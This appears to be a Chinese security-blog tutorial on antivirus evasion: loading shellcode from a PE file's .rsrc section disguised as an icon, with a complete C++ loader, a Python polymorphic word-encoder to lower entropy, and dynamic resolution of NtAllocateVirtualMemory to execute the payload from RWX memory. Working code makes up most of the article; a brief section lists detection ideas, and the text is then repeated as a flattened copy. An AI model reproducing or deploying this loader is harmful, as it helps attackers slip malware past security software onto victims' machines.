基础免杀 从.rsrc加载shellcode上线
字数 1166 2025-08-22 12:22:30

从.rsrc加载shellcode上线 - 基础免杀技术详解

1. 技术背景与原理

.rsrc段是PE文件中的一个特定部分,专门用来存储资源数据。这些资源通常包括:

  • 图标
  • 位图
  • 字符串表
  • 对话框
  • 菜单
  • 版本信息
  • 字体等

在免杀技术中,我们可以利用.rsrc段来存储shellcode,因为:

  1. 资源段通常不会被安全软件重点检查
  2. 可以伪装成正常的资源文件(如图标)
  3. 资源数据在内存中具有只读属性,可以绕过一些内存检测

2. 核心API函数

实现从.rsrc加载shellcode需要以下关键Windows API:

2.1 资源操作API

  • FindResource: 获取指定资源的信息块的句柄
  • LoadResource: 获取资源的句柄
  • LockResource: 获取指向资源第一个字节的指针
  • SizeofResource: 获取指定资源的大小

2.2 内存操作API

  • VirtualAlloc: 分配可执行内存
  • memcpy: 复制内存内容
  • GetProcAddress: 动态获取API地址
  • LoadLibrary: 加载动态链接库

3. 实现步骤详解

3.1 准备shellcode资源

  1. 将shellcode修改扩展名为.ico(伪装成图标文件)
  2. 将文件导入到项目资源中
  3. 设置资源类型为RCDATA(表示自定义数据)

3.2 加载并执行shellcode

// 1. 查找资源
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);

// 2. 加载资源
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);

// 3. 获取资源地址和大小
LPVOID addr = LockResource(hGlobal);
size_t len = SizeofResource(NULL, hRsrc);

// 4. 分配可执行内存
LPVOID buf = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// 5. 复制资源内容到可执行内存
memcpy(buf, addr, len);

// 6. 执行shellcode
typedef void (*ShellcodeFunc)();
ShellcodeFunc execShellcode = (ShellcodeFunc)buf;
execShellcode();

3.3 熵值问题与解决方案

直接存储原始shellcode会导致.rsrc段的熵值过高(可达7.99),容易被检测。解决方案是将shellcode转换为英文单词形式:

3.3.1 Python编码脚本

import random
import sys

ascii_strings = ['Ably', 'Afar', 'Area', 'Army', 'Away', 'Baby', 'Back', 'Ball', 'Band', 'Bank', 
                 'Base', 'Bear', 'Beat', 'Bill', 'Body', 'Book', 'Burn', 'Call', 'Card', 'Care',
                 # ... 省略部分单词 ...
                 'Word', 'Work', 'Year']

# 多态化 - 每次table不一样
random.shuffle(ascii_strings)

if len(sys.argv) < 2:
    print("Usage: python script.py <input_file>")
    sys.exit(1)

with open(sys.argv[1], "rb") as f:
    raw = f.read()

# 将每个字节转换为对应的单词
encoded = "".join([ascii_strings[x % len(ascii_strings)] + "\x00" for x in raw])

# 保存转换表
with open("table.ico", "w") as fh:
    fh.write('"{}"'.format("\",\"".join(ascii_strings)))

# 保存编码后的shellcode
with open("shellcode.ico", "w") as fh:
    fh.write('''"{}"'''.format(encoded.replace('"', '\\"')))

3.3.2 C++解码实现

vector<string> parse_resource_data(LPVOID addr, size_t len) {
    unsigned char* data = reinterpret_cast<unsigned char*>(addr);
    vector<string> parsed_strings;
    stringstream current_string;
    
    for (size_t i = 0; i < len; ++i) {
        if (data[i] == 0x22) { // 双引号ASCII码
            if (!current_string.str().empty()) {
                parsed_strings.push_back(current_string.str());
                current_string.str("");
            }
        }
        else if (data[i] != 0x2c && data[i] != 0x20) {
            current_string << static_cast<char>(data[i]);
        }
    }
    return parsed_strings;
}

vector<unsigned char> restoreShellcode(LPVOID addr, size_t len, const vector<string>& table) {
    unordered_map<string, int> indexMap;
    for (size_t i = 0; i < table.size(); ++i) {
        indexMap[table[i]] = i;
    }
    
    vector<unsigned char> shellcode;
    string current_string;
    unsigned char* data = reinterpret_cast<unsigned char*>(addr);
    
    for (size_t i = 0; i < len; ++i) {
        if (data[i] == 0x00) { // 遇到0x00表示一个字符串结束
            if (!current_string.empty()) {
                auto it = indexMap.find(current_string);
                if (it != indexMap.end()) {
                    shellcode.push_back(it->second);
                }
                current_string.clear();
            }
        }
        else {
            current_string += static_cast<char>(data[i]);
        }
    }
    return shellcode;
}

3.4 完整实现代码

#include <Windows.h>
#include <iostream>
#include "resource.h"
#include <vector>
#include <string>
#include <sstream>
#include <unordered_map>

typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PSIZE_T RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect);

using namespace std;

// 解析资源数据为字符串表
vector<string> parse_resource_data(LPVOID addr, size_t len) {
    /* 同上,省略 */
}

// 从编码的字符串恢复原始shellcode
vector<unsigned char> restoreShellcode(LPVOID addr, size_t len, const vector<string>& table) {
    /* 同上,省略 */
}

int main() {
    // 1. 加载转换表资源
    HRSRC hRsrcTable = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA2), RT_RCDATA);
    HGLOBAL hGlobalTable = LoadResource(NULL, hRsrcTable);
    LPVOID addr = LockResource(hGlobalTable);
    size_t len = SizeofResource(NULL, hRsrcTable);
    vector<string> table = parse_resource_data(addr, len);

    // 2. 加载编码的shellcode资源
    HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
    HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
    addr = LockResource(hGlobal);
    len = SizeofResource(NULL, hRsrc);
    
    // 3. 解码shellcode
    auto shellcode = restoreShellcode(addr, len, table);

    // 4. 分配可执行内存
    LPVOID lpMem = nullptr;
    SIZE_T uSize = shellcode.size();
    
    // 使用动态API调用降低静态检测风险
    const char str1[] = {'N','t','A','l','l','o','c','a','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y','\0'};
    pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(LoadLibrary(L"ntdll.dll"), str1);
    
    NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &lpMem, 0, &uSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    // 5. 复制并执行shellcode
    memcpy(lpMem, shellcode.data(), shellcode.size());
    
    typedef void (*ShellcodeFunc)();
    ShellcodeFunc execShellcode = (ShellcodeFunc)lpMem;
    execShellcode();
    
    return 0;
}

4. 免杀技术要点

  1. 资源伪装:将shellcode伪装成图标资源,降低可疑性
  2. 熵值控制:通过单词编码降低资源段的熵值
  3. 动态API调用:使用GetProcAddress动态获取API地址,避免静态分析
  4. 多态性:每次编码使用不同的单词顺序,增加样本多样性
  5. 内存属性:原始资源在内存中为只读,复制到可执行内存后运行

5. 防御与检测

防御此类攻击可以从以下几个方面入手:

  1. 资源段监控:监控程序对资源段的异常访问
  2. 熵值检测:检测PE文件中异常高熵的资源段
  3. API调用序列:检测FindResource/LoadResource/LockResource等API的异常调用序列
  4. 内存行为:检测从只读内存区域复制数据到可执行内存的行为

6. 总结

通过.rsrc段加载shellcode是一种有效的免杀技术,它利用了PE文件资源段的特性和安全软件对资源段的相对宽松检查。结合熵值控制、动态API调用等技术,可以显著提高绕过安全检测的概率。防御方需要结合多种检测手段才能有效防御此类攻击。

从.rsrc加载shellcode上线 - 基础免杀技术详解 1. 技术背景与原理 .rsrc段是PE文件中的一个特定部分,专门用来存储资源数据。这些资源通常包括: 图标 位图 字符串表 对话框 菜单 版本信息 字体等 在免杀技术中,我们可以利用.rsrc段来存储shellcode,因为: 资源段通常不会被安全软件重点检查 可以伪装成正常的资源文件(如图标) 资源数据在内存中具有只读属性,可以绕过一些内存检测 2. 核心API函数 实现从.rsrc加载shellcode需要以下关键Windows API: 2.1 资源操作API FindResource : 获取指定资源的信息块的句柄 LoadResource : 获取资源的句柄 LockResource : 获取指向资源第一个字节的指针 SizeofResource : 获取指定资源的大小 2.2 内存操作API VirtualAlloc : 分配可执行内存 memcpy : 复制内存内容 GetProcAddress : 动态获取API地址 LoadLibrary : 加载动态链接库 3. 实现步骤详解 3.1 准备shellcode资源 将shellcode修改扩展名为.ico(伪装成图标文件) 将文件导入到项目资源中 设置资源类型为 RCDATA (表示自定义数据) 3.2 加载并执行shellcode 3.3 熵值问题与解决方案 直接存储原始shellcode会导致.rsrc段的熵值过高(可达7.99),容易被检测。解决方案是将shellcode转换为英文单词形式: 3.3.1 Python编码脚本 3.3.2 C++解码实现 3.4 完整实现代码 4. 免杀技术要点 资源伪装 :将shellcode伪装成图标资源,降低可疑性 熵值控制 :通过单词编码降低资源段的熵值 动态API调用 :使用 GetProcAddress 动态获取API地址,避免静态分析 多态性 :每次编码使用不同的单词顺序,增加样本多样性 内存属性 :原始资源在内存中为只读,复制到可执行内存后运行 5. 防御与检测 防御此类攻击可以从以下几个方面入手: 资源段监控 :监控程序对资源段的异常访问 熵值检测 :检测PE文件中异常高熵的资源段 API调用序列 :检测FindResource/LoadResource/LockResource等API的异常调用序列 内存行为 :检测从只读内存区域复制数据到可执行内存的行为 6. 总结 通过.rsrc段加载shellcode是一种有效的免杀技术,它利用了PE文件资源段的特性和安全软件对资源段的相对宽松检查。结合熵值控制、动态API调用等技术,可以显著提高绕过安全检测的概率。防御方需要结合多种检测手段才能有效防御此类攻击。